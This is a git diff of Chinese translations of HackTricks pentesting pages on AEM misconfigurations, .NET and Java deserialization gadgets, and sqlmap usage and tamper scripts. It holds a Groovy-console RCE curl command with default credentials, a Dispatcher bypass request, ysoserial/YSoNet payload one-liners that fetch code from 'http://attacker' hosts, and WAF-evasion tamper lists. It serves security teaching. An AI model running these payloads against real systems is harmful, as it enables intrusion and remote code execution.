`/crx/packmgr/index.jsp` | 包管理器 | 允许认证内容包 → JSP 负载上传。
`/etc/groovyconsole/**` | AEM Groovy 控制台 | 如果暴露 → 任意 Groovy / Java 执行。
`/libs/cq/AuditlogSearchServlet.json` | 审计日志 | 信息泄露。
`/libs/cq/ui/content/dumplibs.html` | ClientLibs 转储 | XSS 向量。
### Dispatcher bypass 技巧
### Dispatcher 绕过技巧
大多数生产网站位于 *Dispatcher*（反向代理）后面。其过滤规则可以通过在分号或编码换行符后附加允许的静态扩展来绕过：
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
@ -46,10 +46,10 @@ GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
## 3. 常见的错误配置（在2025年仍然存在）
1. **匿名POST servlet** – `POST /.json` 与 `:operation=import` 允许您植入新的JCR节点。 在Dispatcher中阻止 `*.json` POST可以修复此问题。 【】
1. **匿名POST servlet** – `POST /.json` 与 `:operation=import` 允许您植入新的JCR节点。 在Dispatcher中阻止 `*.json` POST可以解决此问题。 【】
2. **全世界可读的用户资料** – 默认ACL在 `/home/users/**/profile/*` 上授予每个人 `jcr:read` 权限。
3. **默认凭据** – `admin:admin`，`author:author`，`replication:replication`。
4. **WCMDebugFilter** 启用 ⇒ 通过 `?debug=layout` 反射型XSS（CVE-2016-7882，仍在遗留的6.4安装中发现）。
4. **WCMDebugFilter** 启用 ⇒ 通过 `?debug=layout` 反射XSS（CVE-2016-7882，仍在遗留的6.4安装中发现）。
5. **Groovy控制台暴露** – 通过发送Groovy脚本进行远程代码执行：
```bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
@ -62,7 +62,7 @@ curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groov
季度 | CVE | 受影响版本 | 影响
------- | --- | -------- | ------
2024年12月 | **CVE-2024-43711** | 6.5.21及更早版本 | 不当输入验证 → **任意代码执行**（需要低权限认证）。 【】
2024年12月 | CVE-2024-43724/26 | 6.5.21及更早版本 | 移动页面向导中的DOM / 存储型XSS。 【】
2024年12月 | CVE-2024-43724/26 | 6.5.21及更早版本 | Move Page Wizard中的DOM / 存储XSS。 【】
2023年12月 | CVE-2023-48452/68 | ≤ 6.5.18 | 通过精心制作的URL进行基于DOM的XSS。 【】
2022年12月 | CVE-2022-30683 | ≤ 6.5.13 | 加密设计缺陷 → 秘密解密（需要低权限凭据）。 【】

42
src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
View File

@ -30,7 +30,7 @@
![](<../../images/image (596).png>)
请注意，这不是 `QueryWorker` 函数的完整代码，但它显示了有趣的部分：代码**调用 `this.InvokeMethodOnInstance(out ex);`** 这是**方法集被调用**的那一行。
请注意，这不是 `QueryWorker` 函数的完整代码，但它显示了有趣的部分：代码**调用了 `this.InvokeMethodOnInstance(out ex);`** 这是**方法集被调用**的那一行。
如果你想检查仅设置 _**MethodName**_** 就会被执行**，你可以运行以下代码：
```java
@ -52,14 +52,14 @@ myODP.MethodName = "Start";
}
}
```
注意，您需要添加作为引用 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 以加载 `System.Windows.Data`
注意，您需要添加作为引用的 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 以加载 `System.Windows.Data`
## ExpandedWrapper
使用之前的漏洞，将会有一些情况**对象**将被**反序列化为**一个 _**ObjectDataProvider**_ 实例（例如在 DotNetNuke 漏洞中，使用 XmlSerializer，对象是通过 `GetType` 反序列化的）。然后，将对包装在 _ObjectDataProvider_ 实例中的对象类型**没有任何了解**（例如 `Process`）。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
使用之前的漏洞，将会有一些情况，其中 **对象** 将被 **反序列化为** 一个 _**ObjectDataProvider**_ 实例（例如在 DotNetNuke 漏洞中，使用 XmlSerializer，对象是通过 `GetType` 反序列化的）。然后，将对 _ObjectDataProvider_ 实例中封装的 **对象类型没有任何了解**（例如 `Process`）。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
这个类允许**指定封装在**给定实例中的对象的对象类型。因此，这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中，并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
这在之前呈现的案例中非常有用，因为我们将能够**将 \_ObjectDataProvider**_** 包装在一个 **_**ExpandedWrapper** \_ 实例中，并且**在反序列化时**，这个类将**创建** _**OjectDataProvider**_ 对象，该对象将**执行**在 _**MethodName**_ 中指示的**函数**。
这个类允许 **指定封装在给定实例中的对象类型**。因此，这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中，并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
这在之前呈现的案例中非常有用，因为我们将能够 **将 \_ObjectDataProvider**_** 包装在一个 **_**ExpandedWrapper** \_ 实例中，并且 **在反序列化时** 这个类将 **创建** _**OjectDataProvider**_ 对象，该对象将 **执行** 在 _**MethodName**_ 中指示的 **函数**。
您可以使用以下代码检查这个包装器：
```java
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
在[官方网站](https://www.newtonsoft.com/json)上指出，这个库允许**使用Json.NET强大的JSON序列化器序列化和反序列化任何.NET对象**。因此，如果我们能够**反序列化ObjectDataProvider小工具**，我们就可以仅通过反序列化一个对象来导致**RCE**。
在[官方网站](https://www.newtonsoft.com/json)上指出，该库允许**使用Json.NET强大的JSON序列化程序序列化和反序列化任何.NET对象**。因此，如果我们能够**反序列化ObjectDataProvider小工具**，我们就可以仅通过反序列化一个对象来导致**RCE**。
### Json.Net 示例
### Json.Net示例
首先，让我们看一个如何使用这个库**序列化/反序列化**对象的示例：
首先，让我们看一个如何使用该库**序列化/反序列化**对象的示例：
```java
using System;
using Newtonsoft.Json;
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
在这段代码中，你可以**测试漏洞**，只需运行它，你将看到一个计算器被执行：
在这段代码中，你可以**测试漏洞**，只需运行它，你将看到计算器被执行：
```java
using System;
using System.Text;
@ -188,19 +188,19 @@ TypeNameHandling = TypeNameHandling.Auto
上面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是许多可以在应用程序执行 **不安全的 .NET 反序列化** 时被滥用的 gadget 链之一。现代红队工具如 **[YSoNet](https://github.com/irsdl/ysonet)**（以及较旧的 [ysoserial.net](https://github.com/pwntester/ysoserial.net)）自动化创建 **现成的恶意对象图**，适用于数十种 gadget 和序列化格式。
以下是与 *YSoNet* 一起提供的最有用链的简要参考，以及它们的工作原理和生成有效负载的示例命令的快速说明。
以下是与 *YSoNet* 一起提供的最有用链的简明参考，以及它们的工作原理和生成有效负载的示例命令的快速说明。
| Gadget Chain | 关键思想 / 原语 | 常见序列化器 | YSoNet 一行命令 |
|--------------|------------------|----------------|------------------|
| **TypeConfuseDelegate** | 损坏 `DelegateSerializationHolder` 记录，以便一旦实现，委托指向 *任何* 攻击者提供的方法（例如 `Process.Start`） | `BinaryFormatter`，`SoapFormatter`，`NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | 滥用 `System.Workflow.ComponentModel.ActivitySurrogateSelector` 来 *绕过 .NET ≥4.8 类型过滤* 并直接调用提供类的 **构造函数** 或 **动态编译** C# 文件 | `BinaryFormatter`，`NetDataContractSerializer`，`LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | 利用 `System.Data.DataSet` 的 **遗留 XML** 表示，通过填充 `<ColumnMapping>` / `<DataType>` 字段来实例化任意类型（可选地使用 `--spoofedAssembly` 伪造程序集） | `LosFormatter`，`BinaryFormatter`，`XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | 在启用 WPF 的运行时（> .NET 5）中链式调用属性获取器，直到到达 `System.CodeDom.Compiler.CompilerResults`，然后 *编译* 或 *加载* 通过 `-c` 提供的 DLL | `Json.NET` 无类型，`MessagePack` 无类型 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (复习) | 使用 WPF `System.Windows.Data.ObjectDataProvider` 调用带有受控参数的任意静态方法。YSoNet 添加了一个方便的 `--xamlurl` 变体，以远程托管恶意 XAML | `BinaryFormatter`，`Json.NET`，`XAML`，*等* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | 将 `ScriptBlock` 嵌入 `System.Management.Automation.PSObject` 中，当 PowerShell 反序列化该对象时执行 | PowerShell 远程，`BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | 破坏 `DelegateSerializationHolder` 记录，以便一旦实现，委托指向 *任何* 攻击者提供的方法（例如 `Process.Start`） | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | 滥用 `System.Workflow.ComponentModel.ActivitySurrogateSelector` 来 *绕过 .NET ≥4.8 类型过滤* 并直接调用提供类的 **构造函数** 或 **动态编译** C# 文件 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | 利用 `System.Data.DataSet` 的 **遗留 XML** 表示，通过填充 `<ColumnMapping>` / `<DataType>` 字段来实例化任意类型（可选地使用 `--spoofedAssembly` 伪造程序集） | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | 在启用 WPF 的运行时（> .NET 5）中链式调用属性获取器，直到到达 `System.CodeDom.Compiler.CompilerResults`，然后 *编译* 或 *加载* 通过 `-c` 提供的 DLL | `Json.NET` 无类型, `MessagePack` 无类型 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (复习) | 使用 WPF `System.Windows.Data.ObjectDataProvider` 调用带有受控参数的任意静态方法。YSoNet 添加了一个方便的 `--xamlurl` 变体，以远程托管恶意 XAML | `BinaryFormatter`, `Json.NET`, `XAML`, *等* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | 将 `ScriptBlock` 嵌入 `System.Management.Automation.PSObject` 中，当 PowerShell 反序列化该对象时执行 | PowerShell 远程, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> 所有有效负载默认 **写入 *stdout***，使其轻松地通过管道传输到其他工具（例如 ViewState 生成器、base64 编码器、HTTP 客户端）。
> 所有有效负载默认情况下 **写入 *stdout***，使其轻松地通过管道传输到其他工具（例如 ViewState 生成器、base64 编码器、HTTP 客户端）。
### 构建 / 安装 YSoNet
@ -224,8 +224,8 @@ msbuild ysonet.sln -p:Configuration=Release
* 在可能的情况下迁移到 **`System.Text.Json`** 或 **`DataContractJsonSerializer`**，并使用基于白名单的转换器。
* 阻止危险的 WPF 程序集（`PresentationFramework`、`System.Workflow.*`）在不需要它们的 Web 进程中加载。
## 参考文献
- [YSoNet – .NET 反序列化有效载荷生成器](https://github.com/irsdl/ysonet)
## 参考
- [YSoNet – .NET 反序列化有效负载生成器](https://github.com/irsdl/ysonet)
- [ysoserial.net – 原始 PoC 工具](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)

8
src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
View File

@ -16,7 +16,7 @@ Java `Serializable` 接口 (`java.io.Serializable`) 是一个标记接口，您
4. `readExternal()` – 对于实现 `Externalizable` 的类。
5. 构造函数 **不会** 被执行 – 因此小工具链完全依赖于之前的回调。
在该链中的任何方法如果最终调用了攻击者控制的数据（命令执行、JNDI 查找、反射等），将使反序列化过程变成 RCE 小工具。
在该链中的任何方法如果最终调用了攻击者控制的数据（命令执行、JNDI 查找、反射等），将使反序列化例程变成 RCE 小工具。
让我们看一个 **Person 类** 的示例，该类是 **可序列化的**。这个类 **重写了 readObject** 函数，因此当 **该类的任何对象** 被 **反序列化** 时，这个 **函数** 将被 **执行**。\
在这个示例中，Person 类的 **readObject** 函数调用了它的宠物的 `eat()` 函数，而 Dog 的 `eat()` 函数（出于某种原因）调用了 **calc.exe**。 **我们将看到如何序列化和反序列化一个 Person 对象以执行这个计算器：**
@ -104,7 +104,7 @@ payloadTest("test.ser");
* 2023 – CVE-2023-36480：Aerospike Java 客户端的受信任服务器假设被破坏——恶意服务器回复包含被客户端 反序列化 的序列化有效负载 → RCE。²
* 2023 – CVE-2023-25581：`pac4j-core` 用户配置文件属性解析接受 `{#sb64}` 前缀的 Base64 blob，并在 `RestrictedObjectInputStream` 的情况下反序列化它们。升级 ≥ 4.0.0。
* 2023 – CVE-2023-4528：JSCAPE MFT Manager Service（端口 10880）接受 XML 编码的 Java 对象，导致以 root/SYSTEM 身份的 RCE。
* 2024 – 多个新的 gadget 链被添加到 ysoserial-plus(mod)，包括 Hibernate5、TomcatEmbed 和 SnakeYAML 2.x 类，绕过了一些旧的过滤器。
* 2024 – 多个新的 gadget 链被添加到 ysoserial-plus(mod)，包括 Hibernate5、TomcatEmbed 和 SnakeYAML 2.x 类，这些类绕过了一些旧的过滤器。
## 现代缓解措施
@ -148,7 +148,7 @@ java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
## 参考文献
1. Spring Security Advisory – CVE-2023-34040 Java 反序列化在 Spring-Kafka 中（2023年8月）
2. GitHub Security Lab – GHSL-2023-044：Aerospike Java 客户端中的不安全反序列化（2023年7月）
1. Spring Security Advisory – CVE-2023-34040 Java 反序列化在 Spring-Kafka 中（2023 年 8 月）
2. GitHub Security Lab – GHSL-2023-044：Aerospike Java 客户端中的不安全反序列化（2023 年 7 月）
{{#include ../../banners/hacktricks-training.md}}

54
src/pentesting-web/sql-injection/sqlmap.md
View File

@ -32,7 +32,7 @@
| U | UNION 查询 | 注入 `UNION SELECT` 语句通过相同通道获取数据 |
| S | 堆叠查询 | 添加由 `;` 分隔的额外语句 |
| T | 基于时间的盲注 | 依赖延迟 (`SLEEP`, `WAITFOR`) 检测注入 |
| Q | 内联 / 异带 | 使用如 `LOAD_FILE()` 的函数或 DNS 等 OOB 通道 |
| Q | 内联 / 异带 | 使用如 `LOAD_FILE()` 的函数或 DNS 等异带通道 |
默认顺序为 `BEUSTQ`。您可以重新排列或限制它们，例如仅按顺序使用布尔和基于时间的注入：
```bash
@ -138,46 +138,46 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| apostrophenullencode.py | 用其非法双重 Unicode 对应字符替换撇号字符 |
| appendnullbyte.py | 在有效负载末尾附加编码的 NULL 字节字符 |
| base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
| between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 \('&gt;'\) |
| between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 \('&gt;'\) |
| bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 = |
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码 \(不处理已编码的字符\) |
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换类似 'LIMIT M, N' 的实例 |
| commalessmid.py | 用 'MID\(A FROM B FOR C\)' 替换类似 'MID\(A, B, C\)' 的实例 |
| concat2concatws.py | 用 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' 替换类似 'CONCAT\(A, B\)' 的实例 |
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码 \(不处理已编码的字符\) |
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换 'LIMIT M, N' 的实例 |
| commalessmid.py | 用 'MID\(A FROM B FOR C\)' 替换 'MID\(A, B, C\)' 的实例 |
| concat2concatws.py | 用 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' 替换 'CONCAT\(A, B\)' 的实例 |
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码 \(不处理已编码的字符\) |
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码 \(不处理已编码的字符\)。 "%u0022" |
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码 \(不处理已编码的字符\)。 "\u0022" |
| equaltolike.py | 用运算符 'LIKE' 替换所有等于运算符 \('='\) |
| equaltolike.py | 用运算符 'LIKE' 替换运算符等于 \('='\) 的所有出现 |
| escapequotes.py | 斜杠转义引号 \(' 和 "\) |
| greatest.py | 用 'GREATEST' 对应字符替换大于运算符 \('&gt;'\) |
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
| ifnull2ifisnull.py | 用 'IF\(ISNULL\(A\), B, A\)' 替换类似 'IFNULL\(A, B\)' 的实例 |
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
| ifnull2ifisnull.py | 用 'IF\(ISNULL\(A\), B, A\)' 替换 'IFNULL\(A, B\)' 的实例 |
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
| nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字 \(例如 .replace\("SELECT", ""\) 过滤器\) |
| percentage.py | 在每个字符前添加百分号 \('%'\) |
| percentage.py | 在每个字符前添加百分号 \('%'\) |
| overlongutf8.py | 转换给定有效负载中的所有字符 \(不处理已编码的字符\) |
| randomcase.py | 用随机大小写值替换每个关键字字符 |
| randomcase.py | 用随机大小写值替换每个关键字字符 |
| randomcomments.py | 向 SQL 关键字添加随机注释 |
| securesphere.py | 附加特殊构造的字符串 |
| sp_password.py | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志 |
| space2comment.py | 用注释替换空格字符 \(' '\) |
| securesphere.py | 附加特殊构造的字符串 |
| sp_password.py | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志 |
| space2comment.py | 用注释替换空格字符 \(' '\) |
| space2dash.py | 用破折号注释 \('--'\) 替换空格字符 \(' '\)，后跟随机字符串和换行符 \('\n'\) |
| space2hash.py | 用井号字符 \('\#'\) 替换空格字符 \(' '\)，后跟随机字符串和换行符 \('\n'\) |
| space2morehash.py | 用井号字符 \('\#'\) 替换空格字符 \(' '\)，后跟随机字符串和换行符 \('\n'\) |
| space2mssqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| space2mssqlhash.py | 用井号字符 \('\#'\) 替换空格字符 \(' '\)，后跟换行符 \('\n'\) |
| space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| space2mysqldash.py | 用破折号注释 \('--'\) 替换空格字符 \(' '\)，后跟换行符 \('\n'\) |
| space2mssqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| space2mssqlhash.py | 用井号字符 \('\#'\) 替换空格字符 \(' '\)，后跟换行符 \('\n'\) |
| space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| space2mysqldash.py | 用破折号注释 \('--'\) 替换空格字符 \(' '\)，后跟换行符 \('\n'\) |
| space2plus.py | 用加号 \('+'\) 替换空格字符 \(' '\) |
| space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| symboliclogical.py | 用其符号对应物替换 AND 和 OR 逻辑运算符 \(&& 和 |
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 \('\)，并在末尾附加通用注释 \(以使其工作\) |
| uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
| space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\) |
| symboliclogical.py | 用其符号对应物替换 AND 和 OR 逻辑运算符 \(&& 和 |
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 \('\)，并在末尾添加通用注释 \(以使其工作\) |
| uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
| varnish.py | 附加 HTTP 头 'X-originating-IP' |
| versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
| versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
| versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
| xforwardedfor.py | 附加假 HTTP 头 'X-Forwarded-For' |

38
src/pentesting-web/sql-injection/sqlmap/README.md
View File

@ -28,13 +28,13 @@
`--technique` 选项允许您限制或重新排序 sqlmap 将测试的 SQL 注入技术。每个字母对应不同类型的有效载荷：
| 字母 | 技术 | 描述 |
| ------ | --------- | ----------- |
| B | 基于布尔的盲注 | 使用页面响应中的真/假条件来推断结果 |
| ---- | ---- | ---- |
| B | 基于布尔的盲注 | 使用页面响应中的真/假条件推断结果 |
| E | 基于错误的 | 利用详细的 DBMS 错误消息提取数据 |
| U | UNION 查询 | 注入 `UNION SELECT` 语句通过相同通道获取数据 |
| S | 堆叠查询 | 追加由 SQL 分隔符 (`;`) 分隔的额外语句 |
| T | 基于时间的盲注 | 依赖 `SLEEP/WAITFOR` 延迟来检测可注入条件 |
| Q | 内联 / 异带 | 利用诸如 `LOAD_FILE()` 或 DNS 外泄等函数提取数据 |
| T | 基于时间的盲注 | 依赖 `SLEEP/WAITFOR` 延迟检测可注入条件 |
| Q | 内联 / 异带 | 利用如 `LOAD_FILE()` 或 DNS 外泄等函数提取数据 |
sqlmap 将遵循的默认顺序是 `BEUSTQ`（所有技术）。您可以更改顺序和子集。例如，以下命令将 **仅** 尝试 UNION 查询和基于时间的盲注技术，首先尝试 UNION：
```bash
@ -60,7 +60,7 @@ sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
使用 [SQLMapping](https://taurusomar.github.io/sqlmapping/) 是一个实用工具，可以生成命令并提供 SQLMap 的完整概述，包括基本和高级功能。它包括工具提示，解释工具的每个方面，详细说明每个选项，以便您可以提高效率并理解如何有效使用它。
使用 [SQLMapping](https://taurusomar.github.io/sqlmapping/) 是一个实用工具，可以生成命令并提供 SQLMap 的完整概述，包括基本和高级功能。它包含工具提示，解释工具的每个方面，详细说明每个选项，以便您可以提高效率并理解如何有效使用它。
## 注入位置
@ -103,7 +103,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
### Eval
**Sqlmap** 允许使用 `-e` 或 `--eval` 在发送之前处理每个有效载荷，使用一些 Python 一行代码。这使得在发送之前以自定义方式处理有效载荷变得非常简单和快速。在以下示例中，**flask cookie session** **在发送之前由 flask 使用已知密钥签名**：
**Sqlmap** 允许使用 `-e` 或 `--eval` 在发送之前处理每个有效载荷，使用一些 Python 单行代码。这使得在发送之前以自定义方式处理有效载荷变得非常简单和快速。在以下示例中，**flask cookie session** **在发送之前由 flask 使用已知密钥签名**：
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
@ -154,7 +154,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
记住，**你可以用 Python 创建自己的 tamper**，这非常简单。你可以在[第二次注入页面这里](second-order-injection-sqlmap.md)找到一个 tamper 示例。
记住，**你可以用 Python 创建自己的 tamper**，这非常简单。你可以在[Second Order Injection page here](second-order-injection-sqlmap.md)找到一个 tamper 示例。
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -162,47 +162,47 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| Tamper | Description |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | 用其 UTF-8 全宽对应字符替换撇号字符 |
| apostrophenullencode.py | 用其非法双 Unicode 对应字符替换撇号字符 |
| apostrophenullencode.py | 用其非法双重 Unicode 对应字符替换撇号字符 |
| appendnullbyte.py | 在有效负载末尾附加编码的 NULL 字节字符 |
| base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
| between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 ('>') |
| bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 = |
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码（不处理已编码的字符） |
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换类似 'LIMIT M, N' 的实例 |
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换类似 'LIMIT M, N' 的实例 |
| commalessmid.py | 用 'MID(A FROM B FOR C)' 替换类似 'MID(A, B, C)' 的实例 |
| concat2concatws.py | 用 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' 替换类似 'CONCAT(A, B)' 的实例 |
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码（不处理已编码的字符） |
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码（不处理已编码的字符）。 "%u0022" |
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码（不处理已编码的字符）。 "\u0022" |
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码（不处理已编码的字符）。 "%u0022" |
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码（不处理已编码的字符）。 "\u0022" |
| equaltolike.py | 用运算符 'LIKE' 替换所有等于运算符 ('=') 的出现 |
| escapequotes.py | 斜杠转义引号 (' 和 ") |
| greatest.py | 用 'GREATEST' 对应字符替换大于运算符 ('>') |
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
| ifnull2ifisnull.py | 用 'IF(ISNULL(A), B, A)' 替换类似 'IFNULL(A, B)' 的实例 |
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
| nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字（例如 .replace("SELECT", ""）过滤器） |
| percentage.py | 在每个字符前添加百分号 ('%') |
| percentage.py | 在每个字符前添加百分号 ('%') |
| overlongutf8.py | 转换给定有效负载中的所有字符（不处理已编码的字符） |
| randomcase.py | 用随机大小写值替换每个关键字字符 |
| randomcomments.py | 向 SQL 关键字添加随机注释 |
| securesphere.py | 附加特殊构造的字符串 |
| sp_password.py | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志 |
| sp_password.py | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志 |
| space2comment.py | 用注释替换空格字符 (' ') |
| space2dash.py | 用破折号注释 ('--') 替换空格字符 (' ')，后跟随机字符串和换行符 ('\n') |
| space2hash.py | 用井号字符 ('#') 替换空格字符 (' ')，后跟随机字符串和换行符 ('\n') |
| space2morehash.py | 用井号字符 ('#') 替换空格字符 (' ')，后跟随机字符串和换行符 ('\n') |
| space2mssqlblank.py | 用有效的替代字符集中的随机空白字符替换空格字符 (' ') |
| space2mssqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
| space2mssqlhash.py | 用井号字符 ('#') 替换空格字符 (' ')，后跟换行符 ('\n') |
| space2mysqlblank.py | 用有效的替代字符集中的随机空白字符替换空格字符 (' ') |
| space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
| space2mysqldash.py | 用破折号注释 ('--') 替换空格字符 (' ')，后跟换行符 ('\n') |
| space2plus.py | 用加号 ('+') 替换空格字符 (' ') |
| space2randomblank.py | 用有效的替代字符集中的随机空白字符替换空格字符 (' ') |
| symboliclogical.py | 用其符号对应物替换 AND 和 OR 逻辑运算符 (&& 和 |
| space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
| symboliclogical.py | 用其符号对应物替换 AND 和 OR 逻辑运算符 (&& 和 |
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 (')，并在末尾添加通用注释（以使其工作） |
